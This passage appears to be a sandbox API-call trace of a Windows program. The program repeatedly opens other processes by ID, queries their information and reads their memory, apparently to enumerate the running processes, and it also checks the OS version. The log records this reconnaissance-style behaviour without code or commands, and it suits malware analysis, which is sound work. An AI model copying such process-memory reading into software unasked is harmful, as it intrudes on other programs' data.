ProcessInformation=0x670f7c580, ReturnLength=0x0) returned 0x0 [0295.080] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x849e247018, lpBuffer=0x670f7c550, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c550*, lpNumberOfBytesRead=0x0) returned 1 [0295.080] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x7ffa7bfc5220, lpBuffer=0x670f7c540, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c540*, lpNumberOfBytesRead=0x0) returned 1 [0295.080] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x1a5e3103490, lpBuffer=0x670f7c960, nSize=0x118, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c960*, lpNumberOfBytesRead=0x0) returned 1 [0295.080] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x1a5e31030d8, lpBuffer=0x670f7c2b0, nSize=0x40, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c2b0*, lpNumberOfBytesRead=0x0) returned 1 [0295.081] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x1, ProcessInformation=0x670f7c5b0, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670f7c5b0, ReturnLength=0x0) returned 0x0 [0295.083] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x0, ProcessInformation=0x670f7c088, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670f7c088, ReturnLength=0x0) returned 0x0 [0295.083] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x849e247020, lpBuffer=0x670f7c070, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c070*, lpNumberOfBytesRead=0x0) returned 1 [0295.083] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x1a5e3102ac0, lpBuffer=0x670f7c0c0, nSize=0x410, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c0c0*, lpNumberOfBytesRead=0x0) returned 1 [0295.083] malloc (_Size=0x84) returned 0x196ef0fade0 [0295.083] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x1a5e3103118, lpBuffer=0x196ef0fade0, nSize=0x82, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x196ef0fade0*, lpNumberOfBytesRead=0x0) returned 1 [0295.085] free (_Block=0x196ef0fade0) [0295.085] CloseHandle (hObject=0x464) returned 1 [0295.086] _ui64tow_s (in: _Value=0x39c, _Buffer=0x670f7d480, _BufferCount=0x104, _Radix=10 | out: _Buffer="924") returned 0x0 [0295.090] _vsnwprintf (in: _Buffer=0x670f7d1a0, _BufferCount=0x103, _Format="%lu", _ArgList=0x670f7c528 | out: _Buffer="924") returned 3 [0295.091] GetVersionExW (in: lpVersionInformation=0x670f7c5e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x670f7c5e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0295.091] _vsnwprintf (in: _Buffer=0x670f7cf90, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x670f7c528 | out: _Buffer="10.0.10586") returned 10 [0295.107] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x39c) returned 0x464 [0295.107] GetLastError () returned 0x0 [0295.108] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x0, ProcessInformation=0x670f7c580, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670f7c580, ReturnLength=0x0) returned 0x0 [0295.108] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0xd3ae96018, lpBuffer=0x670f7c550, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c550*, lpNumberOfBytesRead=0x0) returned 1 [0295.109] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x7ffa7bfc5220, lpBuffer=0x670f7c540, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c540*, lpNumberOfBytesRead=0x0) returned 1 [0295.109] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x1e9d3f03490, lpBuffer=0x670f7c960, nSize=0x118, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c960*, lpNumberOfBytesRead=0x0) returned 1 [0295.109] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x1e9d3f030d8, lpBuffer=0x670f7c2b0, nSize=0x40, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c2b0*, lpNumberOfBytesRead=0x0) returned 1 [0295.110] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x1, ProcessInformation=0x670f7c5b0, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670f7c5b0, ReturnLength=0x0) returned 0x0 [0295.111] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x0, ProcessInformation=0x670f7c088, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670f7c088, ReturnLength=0x0) returned 0x0 [0295.111] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0xd3ae96020, lpBuffer=0x670f7c070, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c070*, lpNumberOfBytesRead=0x0) returned 1 [0295.112] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x1e9d3f02ac0, lpBuffer=0x670f7c0c0, nSize=0x410, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c0c0*, lpNumberOfBytesRead=0x0) returned 1 [0295.112] malloc (_Size=0x86) returned 0x196ef0fa600 [0295.112] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x1e9d3f03118, lpBuffer=0x196ef0fa600, nSize=0x84, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x196ef0fa600*, lpNumberOfBytesRead=0x0) returned 1 [0295.113] free (_Block=0x196ef0fa600) [0295.113] CloseHandle (hObject=0x464) returned 1 [0295.114] _ui64tow_s (in: _Value=0x3fc, _Buffer=0x670f7d480, _BufferCount=0x104, _Radix=10 | out: _Buffer="1020") returned 0x0 [0295.118] _vsnwprintf (in: _Buffer=0x670f7d1a0, _BufferCount=0x103, _Format="%lu", _ArgList=0x670f7c528 | out: _Buffer="1020") returned 4 [0295.119] GetVersionExW (in: lpVersionInformation=0x670f7c5e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x670f7c5e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0295.119] _vsnwprintf (in: _Buffer=0x670f7cf90, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x670f7c528 | out: _Buffer="10.0.10586") returned 10 [0295.136] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x3fc) returned 0x464 [0295.136] GetLastError () returned 0x0 [0295.136] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x0, ProcessInformation=0x670f7c580, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670f7c580, ReturnLength=0x0) returned 0x0 [0295.137] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x71b3034018, lpBuffer=0x670f7c550, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c550*, lpNumberOfBytesRead=0x0) returned 1 [0295.137] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x7ffa7bfc5220, lpBuffer=0x670f7c540, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c540*, lpNumberOfBytesRead=0x0) returned 1 [0295.137] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x26426003470, lpBuffer=0x670f7c960, nSize=0x118, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c960*, lpNumberOfBytesRead=0x0) returned 1 [0295.137] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x264260030d8, lpBuffer=0x670f7c2b0, nSize=0x40, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c2b0*, lpNumberOfBytesRead=0x0) returned 1 [0295.138] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x1, ProcessInformation=0x670f7c5b0, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670f7c5b0, ReturnLength=0x0) returned 0x0 [0295.140] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x0, ProcessInformation=0x670f7c088, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670f7c088, ReturnLength=0x0) returned 0x0 [0295.140] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x71b3034020, lpBuffer=0x670f7c070, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c070*, lpNumberOfBytesRead=0x0) returned 1 [0295.140] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x26426002ac0, lpBuffer=0x670f7c0c0, nSize=0x410, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c0c0*, lpNumberOfBytesRead=0x0) returned 1 [0295.140] malloc (_Size=0x62) returned 0x196ef0d0370 [0295.140] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x26426003118, lpBuffer=0x196ef0d0370, nSize=0x60, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x196ef0d0370*, lpNumberOfBytesRead=0x0) returned 1 [0295.141] free (_Block=0x196ef0d0370) [0295.142] CloseHandle (hObject=0x464) returned 1 [0295.142] _ui64tow_s (in: _Value=0x1b8, _Buffer=0x670f7d480, _BufferCount=0x104, _Radix=10 | out: _Buffer="440") returned 0x0 [0295.146] _vsnwprintf (in: _Buffer=0x670f7d1a0, _BufferCount=0x103, _Format="%lu", _ArgList=0x670f7c528 | out: _Buffer="440") returned 3 [0295.148] GetVersionExW (in: lpVersionInformation=0x670f7c5e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x670f7c5e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0295.148] _vsnwprintf (in: _Buffer=0x670f7cf90, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x670f7c528 | out: _Buffer="10.0.10586") returned 10 [0295.164] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x1b8) returned 0x464 [0295.164] GetLastError () returned 0x0 [0295.165] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x0, ProcessInformation=0x670f7c580, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670f7c580, ReturnLength=0x0) returned 0x0 [0295.165] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0xb4bbe3c018, lpBuffer=0x670f7c550, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c550*, lpNumberOfBytesRead=0x0) returned 1 [0295.165] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x7ffa7bfc5220, lpBuffer=0x670f7c540, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c540*, lpNumberOfBytesRead=0x0) returned 1 [0295.165] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x1f146e03400, lpBuffer=0x670f7c960, nSize=0x118, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c960*, lpNumberOfBytesRead=0x0) returned 1 [0295.165] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x1f146e03048, lpBuffer=0x670f7c2b0, nSize=0x40, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c2b0*, lpNumberOfBytesRead=0x0) returned 1 [0295.167] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x1, ProcessInformation=0x670f7c5b0, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670f7c5b0, ReturnLength=0x0) returned 0x0 [0295.171] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x0, ProcessInformation=0x670f7c088, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670f7c088, ReturnLength=0x0) returned 0x0 [0295.171] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0xb4bbe3c020, lpBuffer=0x670f7c070, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c070*, lpNumberOfBytesRead=0x0) returned 1 [0295.171] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x1f146e02a30, lpBuffer=0x670f7c0c0, nSize=0x410, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c0c0*, lpNumberOfBytesRead=0x0) returned 1 [0295.171] malloc (_Size=0x82) returned 0x196ef0fa690 [0295.171] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x1f146e03088, lpBuffer=0x196ef0fa690, nSize=0x80, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x196ef0fa690*, lpNumberOfBytesRead=0x0) returned 1 [0295.172] free (_Block=0x196ef0fa690) [0295.173] CloseHandle (hObject=0x464) returned 1 [0295.173] _ui64tow_s (in: _Value=0x460, _Buffer=0x670f7d480, _BufferCount=0x104, _Radix=10 | out: _Buffer="1120") returned 0x0 [0295.178] _vsnwprintf (in: _Buffer=0x670f7d1a0, _BufferCount=0x103, _Format="%lu", _ArgList=0x670f7c528 | out: _Buffer="1120") returned 4 [0295.179] GetVersionExW (in: lpVersionInformation=0x670f7c5e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x670f7c5e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0295.179] _vsnwprintf (in: _Buffer=0x670f7cf90, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x670f7c528 | out: _Buffer="10.0.10586") returned 10 [0295.197] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x460) returned 0x464 [0295.197] GetLastError () returned 0x0 [0295.197] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x0, ProcessInformation=0x670f7c580, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670f7c580, ReturnLength=0x0) returned 0x0 [0295.197] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x448f0b2018, lpBuffer=0x670f7c550, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c550*, lpNumberOfBytesRead=0x0) returned 1 [0295.198] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x7ffa7bfc5220, lpBuffer=0x670f7c540, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c540*, lpNumberOfBytesRead=0x0) returned 1 [0295.198] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x1e0ed903460, lpBuffer=0x670f7c960, nSize=0x118, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c960*, lpNumberOfBytesRead=0x0) returned 1 [0295.198] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x1e0ed9030c8, lpBuffer=0x670f7c2b0, nSize=0x40, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c2b0*, lpNumberOfBytesRead=0x0) returned 1 [0295.199] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x1, ProcessInformation=0x670f7c5b0, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670f7c5b0, ReturnLength=0x0) returned 0x0 [0295.201] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x0, ProcessInformation=0x670f7c088, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670f7c088, ReturnLength=0x0) returned 0x0 [0295.201] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x448f0b2020, lpBuffer=0x670f7c070, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c070*, lpNumberOfBytesRead=0x0) returned 1 [0295.201] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x1e0ed902ab0, lpBuffer=0x670f7c0c0, nSize=0x410, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c0c0*, lpNumberOfBytesRead=0x0) returned 1 [0295.202] malloc (_Size=0x66) returned 0x196ef0d0370 [0295.202] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x1e0ed903108, lpBuffer=0x196ef0d0370, nSize=0x64, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x196ef0d0370*, lpNumberOfBytesRead=0x0) returned 1 [0295.202] free (_Block=0x196ef0d0370) [0295.203] CloseHandle (hObject=0x464) returned 1 [0295.204] _ui64tow_s (in: _Value=0x4d8, _Buffer=0x670f7d480, _BufferCount=0x104, _Radix=10 | out: _Buffer="1240") returned 0x0 [0295.209] _vsnwprintf (in: _Buffer=0x670f7d1a0, _BufferCount=0x103, _Format="%lu", _ArgList=0x670f7c528 | out: _Buffer="1240") returned 4 [0295.210] GetVersionExW (in: lpVersionInformation=0x670f7c5e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x670f7c5e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0295.210] _vsnwprintf (in: _Buffer=0x670f7cf90, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x670f7c528 | out: _Buffer="10.0.10586") returned 10 [0295.227] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x4d8) returned 0x464 [0295.227] GetLastError () returned 0x0 [0295.231] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x0, ProcessInformation=0x670f7c580, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670f7c580, ReturnLength=0x0) returned 0x0 [0295.231] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x3ff018, lpBuffer=0x670f7c550, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c550*, lpNumberOfBytesRead=0x0) returned 1 [0295.231] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x7ffa7bfc5220, lpBuffer=0x670f7c540, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c540*, lpNumberOfBytesRead=0x0) returned 1 [0295.232] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x5e1b70, lpBuffer=0x670f7c960, nSize=0x118, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c960*, lpNumberOfBytesRead=0x0) returned 1 [0295.232] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x5e1818, lpBuffer=0x670f7c2b0, nSize=0x40, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c2b0*, lpNumberOfBytesRead=0x0) returned 1 [0295.233] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x1, ProcessInformation=0x670f7c5b0, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670f7c5b0, ReturnLength=0x0) returned 0x0 [0295.234] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x0, ProcessInformation=0x670f7c088, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670f7c088, ReturnLength=0x0) returned 0x0 [0295.234] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x3ff020, lpBuffer=0x670f7c070, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c070*, lpNumberOfBytesRead=0x0) returned 1 [0295.235] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x5e1200, lpBuffer=0x670f7c0c0, nSize=0x410, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c0c0*, lpNumberOfBytesRead=0x0) returned 1 [0295.235] malloc (_Size=0x42) returned 0x196ef0fbd10 [0295.235] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x5e1858, lpBuffer=0x196ef0fbd10, nSize=0x40, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x196ef0fbd10*, lpNumberOfBytesRead=0x0) returned 1 [0295.236] free (_Block=0x196ef0fbd10) [0295.236] CloseHandle (hObject=0x464) returned 1 [0295.237] _ui64tow_s (in: _Value=0x580, _Buffer=0x670f7d480, _BufferCount=0x104, _Radix=10 | out: _Buffer="1408") returned 0x0 [0295.241] _vsnwprintf (in: _Buffer=0x670f7d1a0, _BufferCount=0x103, _Format="%lu", _ArgList=0x670f7c528 | out: _Buffer="1408") returned 4 [0295.243] GetVersionExW (in: lpVersionInformation=0x670f7c5e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x670f7c5e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0295.243] _vsnwprintf (in: _Buffer=0x670f7cf90, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x670f7c528 | out: _Buffer="10.0.10586") returned 10 [0295.261] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x580) returned 0x464 [0295.261] GetLastError () returned 0x0 [0295.262] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x0, ProcessInformation=0x670f7c580, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670f7c580, ReturnLength=0x0) returned 0x0 [0295.262] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0xada0213018, lpBuffer=0x670f7c550, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c550*, lpNumberOfBytesRead=0x0) returned 1 [0295.262] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x7ffa7bfc5220, lpBuffer=0x670f7c540, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c540*, lpNumberOfBytesRead=0x0) returned 1 [0295.262] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x1eb702a1bf0, lpBuffer=0x670f7c960, nSize=0x118, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c960*, lpNumberOfBytesRead=0x0) returned 1 [0295.262] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x1eb702a18c8, lpBuffer=0x670f7c2b0, nSize=0x3e, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c2b0*, lpNumberOfBytesRead=0x0) returned 1 [0295.263] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x1, ProcessInformation=0x670f7c5b0, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670f7c5b0, ReturnLength=0x0) returned 0x0 [0295.265] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x0, ProcessInformation=0x670f7c088, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670f7c088, ReturnLength=0x0) returned 0x0 [0295.265] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0xada0213020, lpBuffer=0x670f7c070, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c070*, lpNumberOfBytesRead=0x0) returned 1 [0295.265] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x1eb702a12b0, lpBuffer=0x670f7c0c0, nSize=0x410, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c0c0*, lpNumberOfBytesRead=0x0) returned 1 [0295.265] malloc (_Size=0x18) returned 0x196ef0d1da0 [0295.265] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x1eb702a1906, lpBuffer=0x196ef0d1da0, nSize=0x16, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x196ef0d1da0*, lpNumberOfBytesRead=0x0) returned 1 [0295.265] free (_Block=0x196ef0d1da0) [0295.266] CloseHandle (hObject=0x464) returned 1 [0295.267] _ui64tow_s (in: _Value=0x634, _Buffer=0x670f7d480, _BufferCount=0x104, _Radix=10 | out: _Buffer="1588") returned 0x0 [0295.271] _vsnwprintf (in: _Buffer=0x670f7d1a0, _BufferCount=0x103, _Format="%lu", _ArgList=0x670f7c528 | out: _Buffer="1588") returned 4 [0295.272] GetVersionExW (in: lpVersionInformation=0x670f7c5e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x670f7c5e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0295.272] _vsnwprintf (in: _Buffer=0x670f7cf90, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x670f7c528 | out: _Buffer="10.0.10586") returned 10 [0295.298] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x634) returned 0x464 [0295.298] GetLastError () returned 0x0 [0295.298] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x0, ProcessInformation=0x670f7c580, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670f7c580, ReturnLength=0x0) returned 0x0 [0295.298] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x10d4688018, lpBuffer=0x670f7c550, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c550*, lpNumberOfBytesRead=0x0) returned 1 [0295.299] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x7ffa7bfc5220, lpBuffer=0x670f7c540, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c540*, lpNumberOfBytesRead=0x0) returned 1 [0295.299] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x15c5b9034a0, lpBuffer=0x670f7c960, nSize=0x118, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c960*, lpNumberOfBytesRead=0x0) returned 1 [0295.299] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x15c5b9030e8, lpBuffer=0x670f7c2b0, nSize=0x4c, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c2b0*, lpNumberOfBytesRead=0x0) returned 1 [0295.300] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x1, ProcessInformation=0x670f7c5b0, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670f7c5b0, ReturnLength=0x0) returned 0x0 [0295.301] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x0, ProcessInformation=0x670f7c088, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670f7c088, ReturnLength=0x0) returned 0x0 [0295.302] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x10d4688020, lpBuffer=0x670f7c070, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c070*, lpNumberOfBytesRead=0x0) returned 1 [0295.302] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x15c5b902ad0, lpBuffer=0x670f7c0c0, nSize=0x410, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c0c0*, lpNumberOfBytesRead=0x0) returned 1 [0295.302] malloc (_Size=0x64) returned 0x196ef0d0370 [0295.302] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x15c5b903134, lpBuffer=0x196ef0d0370, nSize=0x62, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x196ef0d0370*, lpNumberOfBytesRead=0x0) returned 1 [0295.303] free (_Block=0x196ef0d0370) [0295.303] CloseHandle (hObject=0x464) returned 1 [0295.304] _ui64tow_s (in: _Value=0x698, _Buffer=0x670f7d480, _BufferCount=0x104, _Radix=10 | out: _Buffer="1688") returned 0x0 [0295.308] _vsnwprintf (in: _Buffer=0x670f7d1a0, _BufferCount=0x103, _Format="%lu", _ArgList=0x670f7c528 | out: _Buffer="1688") returned 4 [0295.309] GetVersionExW (in: lpVersionInformation=0x670f7c5e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x670f7c5e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0295.309] _vsnwprintf (in: 